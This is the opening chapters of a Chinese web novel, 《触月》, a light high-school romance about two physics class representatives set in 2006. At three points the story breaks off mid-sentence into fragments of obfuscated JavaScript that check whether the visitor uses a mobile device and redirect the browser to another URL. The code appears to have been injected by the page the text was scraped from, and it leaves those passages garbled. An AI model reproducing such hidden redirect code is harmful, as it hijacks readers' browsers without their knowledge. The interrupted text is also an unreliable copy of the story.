《触月》 1. 小丁子 2006年,新柳县,新材高中。 在高中苦熬一个月的高一新生们,终于要迎来第一次小长假,以及,数不清的作业。 说不准这万恶的来源到底是出题的人、印刷厂还是留卷纸的老师,或者归功于假期结束后的收心考,反正传递这份“罪恶”的人,一定是各科课代表。 乔洛,高一十班的物理罪恶传递者,在收到老师的撕卷纸邀请后,长长叹了一口气,而后无奈地苦笑一下,接着麻利转身走去物理办公室。 到了办公室,乔洛更笑不出来了。 她不仅要撕自己班的卷纸,物理老师石忠说让她帮忙也把十七班的撕一下。 乔洛边撕卷边吐槽:“老师,我撕我们班的就算了,十七班卷纸让他班课代表来呗,您怎么舍得让我一弱女子撕六套卷纸啊?” 石忠把电脑上的球赛点了暂停,旋转椅偏移到正对乔洛的方向和她说道:“他们班课代表运动会报了一千米,刚上完体育课回屋里瘫了,老师这不是心疼他吗?互帮互助,下回你要是累了我就让他给你干苦力。” “老师您这,那我下节课还体育课呢,怎么不心疼心疼我?” “你报啥了?” 乔洛拢了拢撕好的卷纸,心虚一笑:“娱乐项目,赶猪进圈,嘿嘿嘿。” “行,我喊小丁子到时候给你加油去!” “小丁子?” 这时,办公室门口传来了敲门声,以及一个男生的声音:“老师好!我刚睡着了,是不是可以不拿卷了?” 乔洛闻声回过头去,看到门口站着一个个子很高的,面色微红的男孩子。 她知道这个人,十七班物理课代表,丁似霰。 当然不是因为他们都是课代表,乔洛还是第一次和这个同事打照面,石忠向来没什么事不会找她干活,更没有和另一个课代表需要合作的机会。 这人很有名,从开学以来就被挂在校园墙上许多次,只因为他这张脸。 乔洛下意识把眼前的人和记忆里并不太清晰的照片对比了一下……好像他不太上相,明显这样看着更好看一点。 高高瘦瘦,校服穿在身上松松垮垮的,但骨架应该不小。 大概是军训晒的,他不是很白但确实看起来很干净。 长得……网上的照片乔洛没仔细看过,只不过看着眼前的人,乔洛脑子里闪过的第一个念头就是——把他弄成石膏像临摹练人像素描应该不错,很标致。 乔洛站起身,举起刚撕好的卷纸,郑重地交到男孩手上:“想得美,本姑娘人美心善替你把活干完了,记得说谢谢。” 她站起来之后才进一步感受到,这小子好高啊,她站在他身边就好像是个人形拐杖的高度。 老天爷,能不能让这人匀十厘米给她? 石忠在一旁加了一句:“还得记得去给乔洛加油,十班赶猪进圈哈!” 乔洛转过身拿走了自己班的卷纸:“谢谢老师,这个油倒是也不用加。” “得加得加,项目不分大小,为班级争光!”石忠笑呵呵地把他们俩赶出了办公室,“卷纸开学抽查,没写的有惊喜。” “那要不把答案给课代表保存吧?”男孩企图搜刮答案。 “不用,我相信你的能力,快走吧!” 两人被无情驱逐出办公室,只能无奈的看看关上的棕色大门。 回去发卷吧。 男孩拿过乔洛的卷纸:“挺沉的,我给你送十班去吧,今天谢谢啦!” “不用谢,我石哥说了,下回找你给我班当苦力。” “哈哈哈,行,下回我给你撕卷纸。”男孩答应的很爽快,“我叫丁似霰,终于有机会可以和你认识一下了!” “嗯?终于?” “你的名字,还有你这个人我都早就知道……但一直没啥机会认识,”丁似霰说道:“你好像还挺谨慎的哈,开学我就给你发过好友申请,但你是不加生人吗?” “呃……我,那个,确实不大喜欢加人,申请栏好久没怎么看过了,晚上回去给你加上哈,”乔洛略有些尴尬:“不过我啥时候这么出名了?” “大概是初一那次整个县联考吧,横空出世的第一名,真的牛!” “呃……”乔洛不知道是想到了什么,欲言又止的样子,“我真厉害啊……” “那可不,可厉害了,你那是一战成名!”丁似霰一直笑呵呵的,也不知道他在高兴些什么,“还有军训的时候,很酷,平板支撑大王!” 乔洛忽然被沉睡的记忆痛击,要不是十班没人愿意参赛,她才不会去和那群男生比什么平板支撑。 但是那次她记得十七班并没有参加,和男生比一次平板支撑还赢了,她咋就声名远扬了? “你笑什么呢?快放假了就这么开心?”乔洛很疑惑。 丁似霰并未收回目光,而是依旧绽放着灿烂的笑容:“是啊,七天假,这咋能不开心?” “真有活力,竟然还报名一千米。” “彼此彼此,赶猪进圈也挺难的!” “停停停,怎么一个两个都对看别人参加赶猪进圈这么有兴趣。” 这时正好走到了十班门口。 一路上总会有女孩们看着乔洛和丁似霰走在一起,频频注目,看得乔洛多少有些不自在。 “我明天会去给你加油的!”丁似霰站在门口对乔洛道,“赶猪女侠!” 乔洛拿过卷纸咬着后槽牙,“侠你个大头鬼!” 丁似霰看着一脸无语的小姑娘抱着卷纸走进班级,笑意更浓了些。 真是个可爱的小姑娘。 军训时候看到的乔洛,也是小小一个,比身边的男生短了一大截,但很稳固地撑在那里,直到最后只剩三个人,教官宣布前三名胜出,不用再细分名次。 她拿着奖品离开的时候,脸有些红,发尾捆着的丸子炸了毛,但依旧气息平稳步伐稳健,甚至根本没有歇歇,而是直接从地下爬起来,拿着奖品退回到人群中。 那次回到班级之后,乔洛和她闺蜜杨可期说,十七班的物理课代表,那个军训的时候就被挂到表白墙上被不知道多少人夸帅哥的人,脑子可能有问题,而且那人明天还要来看乔洛做项目。 杨可期是乔洛自幼儿园起就相识的好友,但是这还是她们自幼儿园之后第一次被分到同一个班级。 杨可期听到乔洛说的话后,一直一脸看热闹的笑着。 “哎呀你别笑了,不就是拿根棍推球吗,怎么都这么爱看热闹?” “大概是因为这个项目的名字属实是惹人注意?”杨可期这笑容似乎又和丁似霰不同。 “你们真奇怪,你和他怎么都笑得这么诡异?”乔洛不解。 杨可期像摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908893|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小狗一样摸着乔洛的头,“可能是我们家洛洛太招人喜欢了。” 这次根本不是乔洛和丁似霰第一次见面。 杨可期早就发现过,十七班的这个大课代表,上间操的时候就偶尔会向她们这边看过来,少有的几次过来通知去物理组取卷也是一直笑呵呵的样子。 可惜乔洛,根本不会关注这些在她的世界里无关紧要的事情。她看过表白墙上的照片后夸过一句“长得确实不错”,听到要去取卷纸后根本不想抬头看坏消息的来源。 运动会总是让学生们激动的,乔洛一早上就开始和同学们一起准备装饰用的气球,偏偏只有她和杨可期会绑气球,三个一组的彩色气球把两个女孩淹没在讲台上。 丁似霰来送号码牌的时候,就看见五彩缤纷的气球堆里,冒出了乔洛和杨可期两个小脑袋。 他又笑起来了。 虽然很好看,但总感觉还是哪里怪怪的。 或许是昨晚加上他好友之后,他发了一个小狗歪头打招呼的表情包,乔洛今天怎么看他,怎么像那个歪头小狗。 当他拿起脖子上挂着的拍立得的时候,两个忙碌的姑娘意识到了他在笑什么。 “丁似霰你给我把手放下!”乔洛挣扎着想从气球堆里面站起来,却一着急踩在了气球上,气球爆开的声音格外响亮。 此时,丁似霰已经摁下了快门。 他捏着照片哈哈大笑,然后走近了递给乔洛,“给你留作纪念!” 乔洛扯过照片看了看,照片其实不丑,或者说很生动,但就是感觉丁似霰这人,有点奇怪。 小姑娘有些无语地瘪瘪嘴:“我就不信你跑步的时候没有丑照!” “那我等你来看我跑赛!” “我必去,你最好跑好看点,诺基亚照相可比拍立得清晰。” “等你!”丁似霰兴奋地冲着乔洛摆摆手,一溜烟跑走了。 乔洛回到原位,把拍立得随手夹在屁股下垫着的书中,不解地摇摇头,“这人是不是真的有点什么病?那群捞他的姑娘都疯了吧?” 她真的不理解,这种人为什么会常驻表白墙,就算长得不错,但很欠揍啊。 难不成在那些姑娘面前这人被上哑药了? 高一男子一千米和高一赶猪进圈项目基本是同时开始的,谁也没想到这个赛程的安排。 十班抽签比较靠后,所以乔洛扯着杨可期去到了一千米的起点。还是要信守承诺的,说了要去看他跑步,时间反正还宽松,那就看一下吧。 丁似霰看到乔洛感觉很惊讶:“咋还没去赶你的猪,这么想见识一下我跑步时候有多帅?” “对对对,我就是想欣赏一下大帅哥,快点跑啊,你们终点可就在我的圈门口。” “行,等哥们冲刺的时候记得加油!” “我不给我班加油我给你加油,我咋这么喜欢你呢?” “我能拉第二一大截,不耽误你再给你班男生加油,”丁似霰刚说完,广播就大喊高一男子一千米运动员去检录,这场斗嘴一般的加油到此为止。 整个操场,哪怕是某个角落,此时此刻都格外喧嚣。 加油鼓劲的,看热闹的,还有候场的,每个人都有自己的事要忙。 起跑处,丁似霰眯着眼睛看着远处的终点……旁边的小身影,这么快就跑了,不是说好的照丑照吗? 2. 搭讪 所谓赶猪进圈,其实就是运动员拿着一根棍子,弯腰在地上推球进入规定的地方然后接力,每班五个人。 乔洛是第三棒,十班的战果不太乐观,前两棒比同组的五个班级慢了将近一个来回。 随着跑赛处的一声枪响,男子一千米比赛开始了,乔洛也恰巧接过了接力棒。 乔洛小朋友的好胜心还是很强的,拿着接力棒弯腰往前赶猪十分迅速,硬生生从第六赶到了第三。 代价是,一时心急手指擦在操场上,磨破了三根。 “我的小祖宗,你不嫌疼啊,就是一个娱乐项目至于吗?”杨可期给乔洛擦着碘伏,不忘碎碎念。 “刚才着急了,”乔洛倒不是很在意,“你怎么不夸夸我多厉害呢,第三了诶!” “行,你最厉害。” “走走走,我要去看丁似霰能跑第几!”乔洛很快就扯着杨可期,站在跑道里侧搜寻丁似霰的身影。 乔洛看着丁似霰在人群中间,并不领先。她挎着杨可期,啧啧舌,“还以为多快呢,也不知道第几圈了,这也不突出啊。” 丁似霰,在乔洛说话的时候刚刚跑到她身旁,以极快的语速说了一句,“哥们比他们快一圈!” 乔洛指了指已经跑远的丁似霰,“他,在跟我说话?” “至少没和我说话,反正也不是我吐槽的。”杨可期晃了晃头。 “他什么耳朵,这都能听到,然后还有力气说话?” “诶,你俩真的昨天刚认识吗?” “真的,可能他就是臭屁吧。” “可能是吧,不去看看他冲刺?” “肯定不少人在终点等着呢,咱俩现在过去也挤不进去,不差我一个给他庆祝的,我没那么好信儿。”乔洛表示,帅哥看看就好,不想去凑那个热闹。 主要是她不喜欢人多的地方,又吵又挤。丁似霰的重要程度,并不足以让乔洛去做她不感兴趣的事。 几分钟后,丁似霰怨气极重地坐在高一十班的看台下面,和乔洛面对面。 “不是说好的,看我跑赛吗,在跑道还说风凉话来着,最后跑哪去了?”丁似霰很遗憾,“我跑第一那么风光你都不来看看,不够意思。” 乔洛坐在台阶上,双手环抱在胸前,这时她的目光看起来和丁似霰基本在同一水平面,并且乔洛认为坐在台阶上显得她更有气势:“终点那么多人等你还不够?我又挤不进去,也不想掺和那些,我就不信没人给你照相。” “那能一样吗?我又没给别人照,他们照是他们自己乐意,你给我照相那叫,那叫礼尚往来!” “往来个头,你这是强买强卖。” “我不管,你得补偿我受伤的心灵,”丁似霰开始耍无赖,“不然我下次就装睡,卷全得你撕。” “我无所谓啊,但你看石哥会不会把你拎进办公室,让你干活。” “那我就把卷纸弄得皮儿片儿的一堆,告诉石哥我能力有限,还是得乔大课代表来干活才行。” “你可以试试,看一看到时候是卷纸皮儿片儿的严重,还是你会换一种形态,”乔洛并没有被恐吓住:“而且你咋那么容易受伤,易碎玻璃瓶吗?” “那我可老脆弱了,哎呦我的波棱盖,我的胯骨轴子,都好酸,”丁似霰的表现,非常浮夸。 “你,受伤?”乔洛亮出自己红肿的手指,“受伤的是我好吧?” “你被猪咬了?”丁似霰从兜里掏出了几个创口贴,是猫和老鼠的图案,“给你,贴上点吧。” “多大了还用卡通创口贴?”乔洛接过来,看着杰瑞得意的小脸不禁发笑。 “这你就不懂了吧,男人至死是少年!”丁似霰站起身,拍了拍屁股上面粘的石子和灰尘,“看在你都被猪咬了的份上,那就等明年再说吧!” 乔洛也站起了身,“你好奇怪啊,我和你又不熟,为什么刚出完风头就来我班找我?” “我是感觉你蛮有趣的,”丁似霰懒懒散散靠在栏杆上,这小子很不合时宜的咧开了嘴,露出了一个很灿烂的笑容,然后用手比了一下乔洛的高度,刚刚勉强到他肩膀,“我得多久没见过这么可爱的了。” 乔洛突然就明白了,从昨天到现在,丁似霰在笑什么。 在笑乔洛一米五三的身高。 “丁,似,霰!”乔洛也不算恼,但是站到了刚刚坐着的台阶上,“你,多大了?” “啊?”丁似霰并没有反应过来乔洛在说什么,仰起头,有些呆呆地看向拔地而起的乔洛。 “我说,你多大了,几岁了,howoldareyou!” “就,马上十六了。” “我,十一月末,才十四,”乔洛用水瓶顶着丁似霰的脑门,“你长啊,你继续长,我看你和那边的篮球框谁能长得过谁。” 丁似霰不好意思的挠了挠头:“我不是说你矮,可爱,我是说可爱。” “那你小心点,小地雷再可爱也是会炸的。” “好好好,我投降,错了错了!”丁似霰举起了双手,“你……真这么小?” “嗯,需要我把户口本复印件给你看看吗?” “不,不,不用,”大概是太过于意外,丁似霰突然有些结巴,“你是……提前了两年上学吗?” “没有,就是因为生日小,算是提前了一年,”乔洛顿了一下,继续道,“然后小学跳了一年。” “这么厉害,小学就……跳级?” “不想读了,就跳了。” “有人欺负?” “不重要,都是以前的事。” “我……我那个,就是,就是想着在终点,没看到你,这,这就是过来问问,你自己说的要,要那个什么,拍我丑照嘛。” “你多帅,我怎么照你丑照,你给我机会吗?” “哈哈哈哈哈,当你夸我啦!”丁似霰拿走了乔洛手里的水,“肯定是刚才准备给我的对不对,我拿走了!” 乔洛很震惊,这水是刚才她刚准备喝的,还没拧开瓶盖呢丁似霰就跑过来了。 丁似霰刚走了两步,又转了回来,拧开瓶盖递回给乔洛,“那个……你这个手,使不上劲了吧?光哥做好事不留名,给你拧瓶盖。” 乔洛接过水,看了丁似霰几秒。 眼前的少年,脸上带着一丝讨好的笑意,很好看,很像某种狗腿子行为,谄媚但确实并不让人反感。 学校里其实从来没有文学作品里那么夸张的现象出现,比如一群又一群的女孩围在终点附近等着给帅哥接风送水,然后帅哥说句谢谢,女孩们面色通红心跳加速这种事,至少乔洛没在新柳见过。 但绝对有人在终点等丁似霰。 他就不可能差乔洛手里这一瓶水! 乔洛想不通眼前这人的行为逻辑。 她喝下一大口水,才说道:“丁似霰,坦白讲,我现在认识你刚刚二十几个小时,你就让我怀疑,你这个人光鲜亮丽的外表下掩盖的是不是一个有病至极的灵魂。” 少年似乎并未想到乔洛会说这些,他微微迟疑片刻,又露出了一个很好看的笑容,很满意地回应道:“至少你是认同我这个人有一副光鲜亮丽的外表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“贵啊,多拍几张我下个月可能就吃不上几顿饭了。” “这么看来早上你还真大方。” “偶尔放放血也还好,”丁似霰看比赛看得津津有味,“但是这种时候就用手机连拍就好了哈哈哈哈哈哈哈。” 骑自行车是,赛慢。 比谁最晚到终点,且要保证自行车的稳定,过程中脚不能沾地,老师们的姿势可谓是千奇百怪。 后来,很长一段时间里贴吧上流传的石忠表情包多出自于丁似霰之手。 乔洛悄悄拿出手机,拍了一张丁似霰的照片,照片里他正一脸贱笑地把镜头对准“赛慢”的现场。 嗯,这叫黄雀在后,丁似霰的表情包这不是就到手了嘛。 后来丁似霰站在领奖台上,举着奖牌和礼品笑得乱七八糟的时候,看到了台下和杨可期蹲在排尾偷偷翻花绳的乔洛时,突然就感觉这个奖,也没什么意思。 她是真的对他一点都不感兴趣啊? 当然。 丁似霰,是一个很耀眼的存在。 只是还没有耀眼到乔洛会把目光时刻聚焦在他身上。 甚至他的热情乔洛虽然不抗拒,但会让她感觉有些莫名其妙。 运动会后的国庆假期,丁似霰对着电脑里乔洛的Q.Q聊天对话框尝试着打了好几次字,又都删掉了。 他确实不太会搭讪。 3. 人尽其用 七天假期匆匆而过,乔洛和丁似霰毫无交集。 开学便是第一次月考。 他们在一个考场,丁似霰依旧笑眯眯地和乔洛打招呼。 乔洛也只是礼貌性点点头。 嗯,不熟,乔洛对于不熟的人是这样的,会打招呼,也仅仅是打个招呼。 熟的人?好像只有杨可期,杨可期用不着打招呼,直接就勾肩搭背了。 人大多是肤浅的,像丁似霰这种长得高高帅帅的男孩子,人又很有趣,在学校里一定是很受欢迎的。 他晚饭的时候总会在教学楼旁的甬道上和许志打羽毛球,四周抱以欣赏的目光围观女孩子也自然是源源不断的。 偶尔乔洛路过的时候他离得老远就对着她招手,乔洛多是敷衍性回应一下,然后拽着杨可期直接开溜——她感觉总有很多双眼睛在盯着她,丁似霰的观众太多了。 偏偏那条甬路是去操场的必经之路,乔洛躲不开。 乔洛不喜欢人太多的地方,又挤又吵,就是一个长得不错的男生,有什么可看的。 还不如去操场上喂学校的小狗们。 “我还以为你会和丁似霰发生点什么呢,他运动会的时候对你这么殷勤。”杨可期边拆着狗粮袋子,边打趣乔洛,“他现在在学校里面可是蛮有名气的哦!” “我是那种会被美色诱惑的人吗?”乔洛抱着小白,“开不开心?我俩给你们换了个贵点的狗粮,听说里面加了肉的。” “但你会被狗色诱惑。” “哈哈哈,确实啊,小白比丁似霰招人喜欢多了。” “你把我跟它比就算了,我还比不过?”丁似霰不知道从哪里窜了出来,身侧还有一个男生,饶有兴致地看着他们,“介绍一下,许志,我哥们。” “哈罗,乔洛。” “杨可期。” 也算是做了自我介绍,很简单的认识了彼此。 “你就是没有小狗可爱呀,不服?”乔洛抱着小狗,只抬眼看了丁似霰一下,“大帅哥们今天怎么不打球了?” “没有‘们’,别带上我啊,可没有一个人是来看我的。”许志很迅速地撇清了关系。 许志比丁似霰矮了一些,长得也算周正,但确实没有到让人会挪不开眼的地步。 只不过看起来脑子比丁似霰正常不少。 “羽毛球社团十月底有比赛你有没有兴趣参加?”丁似霰坐在了乔洛身旁,“混双比赛我没有伴。” 新材高中每年都会办两次羽毛球比赛,最起初好像还是因为哪个领导喜欢打羽毛球来着。 一次是在寒假,另一次一般都是十月的最后一个周末或者十一月第一个周末,星期六晚饭时间开始是初赛,大概一晚上就比出了个胜负,只会剩下各个组合的前三名,休整一下,第二天晚上进行决赛。 许志在一旁企图捂住了耳朵,宁愿自己是个聋子,丁似霰见色忘义,他可什么时候参加过混双比赛呢? “太可惜了,我不会打羽毛球。” “我可以教你啊!” 乔洛看着丁似霰很真诚又期待的眼神,某一瞬间,不得不承认,她想过答应他。 但也仅仅只是某一瞬间。 “不要。”她回绝得很坚定。 参加那个什么比赛,就得和他经常在一起。 太恐怖了。 “那好吧,”丁似霰也不执着,换了新的提议,“那要不然晚上一起去食堂吧?” “你不是打球吗?也没见你去过食堂。”乔洛胡乱揉了揉小花的头,可它现在眼里只有那盆狗粮,丝毫没有理乔洛。 “那就不打了嘛,吃饭比打球重要。” “不是每天都有姑娘给你买水买零食吗,你也用不到去食堂抢饭。” “不是,那我也不能谁给都收啊!” “还怪有原则的。” “你晚上都不吃饭的吗?”丁似霰好像基本就没见过乔洛去食堂。 “不喜欢去抢饭,而且……嗯,吃多了会胖。” “胖什么胖,不吃饭怎么长个!”丁似霰不理解,特别是在他小时候隔三差五就肠胃炎住院的时候最不理解,怎么会有人明明能吃各种美食,但还是要克制着自己的嘴。 “那你呢,瘦的跟麻杆一样怎么还能长高?”乔洛前几天体检的时候“意外”扫到了一眼丁似霰的体检单,这人将近一米八五,还不到一百四十斤。 “我纵向发展。” “你今天就是特意过来找我就是为了气我吗?” “没有没有,我就是……” 就是什么呢?他也没想好,他就是想找点由头过来和乔洛说话,就是想每天都可以和乔洛有一些除了打招呼以外的交集。 “你帮我买饭好不好?”丁似霰有了新的主意,他把自己的饭卡递向乔洛。 许志在一旁撇嘴,“都是套路。” 杨可期低声问他,“丁似霰想干什么啊??” “不知道,但确实史无前例。”许志也看不明白丁似霰怎么突然就缠上了乔洛。 “丁似霰,你让我,去给你买饭?” “是请你帮我。” “你……这样多久了?” 丁似霰一开始没有明白乔洛在说什么,“嗯?” “你不感觉,让一个只认识了……嘶……还不到半个月的人吧,”乔洛很疑惑地看着他,“让我去给你带饭,很离谱吗?” “不离谱,我想跟你交个朋友。” “大哥,你交朋友是让朋友给你跑腿?” “人尽其用。” “你还真是……” “厚颜无耻是吧?我妈也这么说我。” 乔洛转头看向杨可期:“这人叽里咕噜说啥呢,怕不是疯了吧?” 后来,乔洛还是答应了丁似霰。 比起这人前两个提议,还是帮他买个饭更加好完成一点。 “你俩,有忌口没有?”乔洛捏着耳垂,这里长了一个小包,红红的,她总是想把这个包弄掉。 杨可期伸手打了下乔洛正在企图作案的手,“跟你说了过段时间就好了,刚摸完狗你就碰耳朵,早晚弄发炎了。” 丁似霰把头探过来企图看一看乔洛的耳垂,“这是怎么了?” “上火,考试考的,你排名翻了一倍的话你不上火啊?”乔洛也没有遮掩什么,这该死的文综让她很无力,“快点说,有没有忌口的你俩。” “还有我的份呀?”这算许志的意外之喜了,啧啧啧,跟着丁似霰混,果然日子过得滋润。 “那你不吃?”乔洛抬起头向斜上方看了许志一下,和丁似霰一起玩的人脑子都不好吗?她收回刚刚对许志精神状态的肯定。 “吃!嘿嘿,我不挑食,没毒的都吃。”许志倒是个好养活的。 “嗯……可能有点多,”丁似霰突然有点后悔自己这个提议。 “少爷您说,我记一下。”乔洛掏出手机,准备把丁大少的忌口编辑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔洛还一直说臭白是小没良心的,喂了一个多月才让她和杨可期摸,到丁似霰和许志这里不到一周就混熟了。 当然,在他们第一次跟着乔洛和杨可期去买饭,才发现她们一直都是在学校外面的店家那里订的饭,而不是去食堂。 “我说怎么从你给我买饭开始,这饭变好吃了呢?” “因为我会魔法,巴啦啦能量,”乔洛结果店家递来的袋子,转手就扔到了丁似霰手里,“小伙子,眼睛里要有活。” “好嘞,”丁似霰又拿了一半递给许志,“眼睛里要有活。” 许志白了他一眼,丁似霰那是眼睛里有活吗?他是眼睛里有乔洛。 丁似霰走在乔洛身后,多少有点小跟班的感觉。 他喜欢这个感觉。 “你没用饭卡?这些天记账没有?我回去给你。” “放心,去食堂买酸奶,用你的卡,钱我都算着呢。” “哈哈,那就好。” “不怕我刷光你的饭卡啊?” “那就再充呗!” “丁老板大气,一会我看看还有多少余额。” 乔洛说话时,才注意看丁似霰饭卡上的名字,这三个字写得倒是很规整,或者说,蛮漂亮的。 字,倒是和人挺像。但还是字好一些,毕竟这东西好看就是好看,不会冒出什么奇怪的灵魂。 虽然说期中考试前,带饭事业就以乔洛一句“我不干了”走向了终点。 但丁似霰也不在乎,这半个月他目的已经达到了。 留了乔洛的手机号,还诱拐乔洛陪他打了一次球。 唉,乔洛打羽毛球真的很震撼。 那不是打球,那是遛丁似霰。 遛得他到处捡球。 他却也乐在其中。 看来还得努努力,只打一次,丁似霰同学不是太满足。 4. 打枣 十月末,虽然在节气上依旧是秋天,但在新柳已经可以入冬了。 大雪,会为这个深秋画上一个圆满的句号,然后,迎来初冬。 而今年的冬天来得要更早一些。 “这个政治怎么这么难啊!”乔洛看着自己满是红叉的政治作业,很是无奈,“上次我文综就只有历史及格了,按照这么发展,下周考试我一个也及不了格。” 杨可期笑眯眯地摊开了她的作业,“没事,我比你还多错一个。” 乔洛扭过头,看到了杨可期的作业,嚯,一样惨烈。 她突然笑了起来,第八题,竟然选D。 “可期啊,你还记得你信誓旦旦的说这题选A吗?” “记得记得,你还说肯定选B呢。” “我是不是这辈子永远看不明白这些拐弯抹角的东西?”乔洛每天都在畅想着文理分科之后远离文综的逍遥日子。 “没事,我们的水平足够通过学业水平测试了。”杨可期倒是一直很想得开。 “能不能现在就分文理,让我赶紧远离这些奇怪的东西。” 当然不能,通常来讲高二才会分科,但是今年新材突然想革新一下,试试高一半年分科怎么样。 多亏这项政策,乔洛可以少受半年苦。 下雪了,这是今年冬天第一场雪,和第一节晚自习基本同时开始。 虽然每年都可以看到雪,但孩子们还是很开心,短短十分钟的课间,外面甬路上的雪已经被学生们玩的凌乱不堪,露出了地面。 路灯下,乱七八糟的雪堆映出了同样杂乱无章的影子。 乔洛也喜欢玩雪,但是她感觉十分钟太短了,玩不尽兴,就只是和杨可期拄着窗台向窗外看。 还好她们有先见之明,早在晚饭的时候就给狗窝做了加厚防风处理。 乔洛十分羡慕二楼靠南的三个班级……那三个班级窗外有一片露台,翻个窗户出去就能玩。 啪! 一个雪球砸到了乔洛面前的玻璃上。 她微微弯下腰,绕过被雪覆盖的区域,视线里出现了丁似霰笑呵呵的模样。 他的牙,不冷吗? 对哦,怎么忘了许志在十二班,那个露台拥有权最大的班级——因为十一和十三班的窗外都只有一半的区域被露台覆盖,只有十二班,无论从哪个窗户翻出去,都会稳稳落在露台上。 丁似霰进许志班级就好像回家一样,他总是能很快和大家打成一片,好像没有人能忍心讨厌他……虽然他有点欠揍,但是又还挺讨人喜欢的。 乔洛推开窗户,飞快的搂起了外面窗沿上一层雪,撒了下去,又迅速关上窗——防止丁似霰反攻,当然也是因为怕这么冷的天气开窗户会被同学骂。 刚刚落下堆攒在一起的雪花很松软,乔洛只是随手一撒,没有任何攻击力,就好像是临时给下面的露台加了一场大雪。 丁似霰没有躲开,静静地在这场临时加雪中,在那群被乔洛戏称为跳马猴子的学生堆里,拿出他的拍立得,对着乔洛所在的窗户口摁下了快门。 这么远,能拍些什么,何况外面已经是黑天了。乔洛不解,但还是条件反射对着镜头比了个剪刀手,她甚至都不太记得自己有没有想起来笑一笑。 万能的剪刀手,乔洛拍照只会这个姿势…… 其实没有很远,仅仅是一层楼的距离。 他举着照片,对乔洛行了一个王子礼。 乔洛勾勾手指,她要看照片。 丁似霰立刻站直,像电视里的人儿一样行了个礼,说了一句什么,就跳着离开了露台。 乔洛看懂了,是“Yes,madam”。 不到一分钟,丁似霰就出现在了十班的后门处,举着一张拍立得,笑得很好看。 天气太冷了,拍立得还没有成像。乔洛接过照片,放在手心暖着。 丁似霰的手很红,显然是不带手套玩雪的报应,他头发上还有一些没来得及融化的雪花。 乔洛指着丁似霰的头发,“你出去玩雪怎么不戴帽子?” 他甩了甩头,像小臭白一样,“嘿嘿,就一个课间,懒得戴。” “你是妈见打系列头号通缉犯。”乔洛去柜子里翻了个暖贴出来,丢给丁似霰,“暖暖手。” 上课铃打响了,丁似霰留下一句拜拜撒腿就跑,毕竟这是三楼,而十七班在一楼。 拍立得在乔洛手心渐渐出现了色彩。照片里有一大半视线被雪花挡住了,唯一聚焦的小小一角,是在窗户后面比剪刀手的女孩。 她竟然想起来微笑了,笑得还,挺甜。 不得不说,丁似霰拍照技术不错。 那个周末是在完成比积雪还厚的练习册中度过的。 开学考试这么缺德的事情到底为什么每个学校都这么热衷? 乔洛上一次月考成绩其实就不是很理想。她已经一年没有上学了,突然开始早七晚九地在学校上课,多少有些不适应。而且对于乔洛来讲,高中的文科简直难度提升了那么大一截,大到她很用力去学,却还是很难及格。 这次也一样,平日里只做了作业一点没复习的理综她打了二百八十三,文综才一百七十四分…… 乔洛被一种无力感深深包围,她不是个优绩主义者,但确实这种少有的努力无果的感觉让她很不爽。 杨可期也没比乔洛均衡多少,二百六十六的理综和一百八十一的文综。 可能真的有些人,天生就不是学文的料子。 北方十一月中旬的风有些硬,也很冷。但是阳光是明媚的,照在身上,暖暖的。 晚饭时,乔洛和杨可期照例去了操场喂臭白和小花。 她们直接躺在了操场边,静静晒着太阳。 嘶……怎么有苹果的味道。 乔洛把眼睛睁开一条缝,她脸的正上方,有一颗不太大也不太红的苹果……杨可期那也有。 拿着苹果的人正是丁似霰和许志。 “哪来的苹果,能吃吗?”乔洛伸手接过苹果,坐起身来。 “后院摘的,还有颗枣树也有好多枣了,但没有杆子打不到。”丁似霰坐到乔洛身边。 杨可期直接用衣服蹭了蹭苹果,接着咬了一小口,“还行,虽然长得丑了点,但还是甜的。” 乔洛又啃了一大口苹果,脸上却是难得的忧愁。 “太难得了,能在你脸上看到这个表情。”丁似霰不禁感叹。在他印象里,从开学到现在已经两个月了,基本每次看见乔洛的时候,她都乐呵呵的或是基本没什么表 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“没杆子你怎么把枣弄下来?”丁似霰虽然很疑惑,但还是走在前面,领了路。 “爬树,学校的枣树能有多高,”杨可期挎着乔洛,“我们洛洛小时候上房揭瓦爬树捞鱼啥都干。” “王主任看到你,会疯掉的,”许志突然感觉,教导主任也是有危险系数的。 乔洛站在枣树下,仰着头,这棵枣树并不高,分叉的地方也不过一米多。 “等着接枣啊!”乔洛说罢,两手拽着树干的分叉,脚在主干上一蹬,就爬到了树杈上,“开始晃了!” 树上成熟的枣,被乔洛轻轻一晃,都掉了下来。 一切都是这么行云流水。 树下的三个人捡了很多枣,用校服的外套包着。 乔洛坐在树杈上看着地面。 ……完蛋,忘记小时候是怎么爬下去的了。 “下……不来了?”丁似霰问到。 “好像是这样,”乔洛迟疑了一下,“我这么直接跳下去会不会摔死?” “你你你,别跳,死不了但是会崴脚,我接你!”丁似霰赶忙跑到了乔洛坐的那个树杈的正下方,对她伸出了手,“下来吧!” “你确定,能接住我?”乔洛不是太信任丁似霰的力气。 “总比你跳下来安全。” 乔洛小心翼翼伸出脚,慢慢把重心向下挪,手还牢牢抓着树干。 丁似霰抱住了乔洛的腿……准确来说是大腿根。 “我松手了啊!” “好。” 他紧紧抱住她,她平安落地。 “以后还是搞个杆子更靠谱。”乔洛得出了结论。 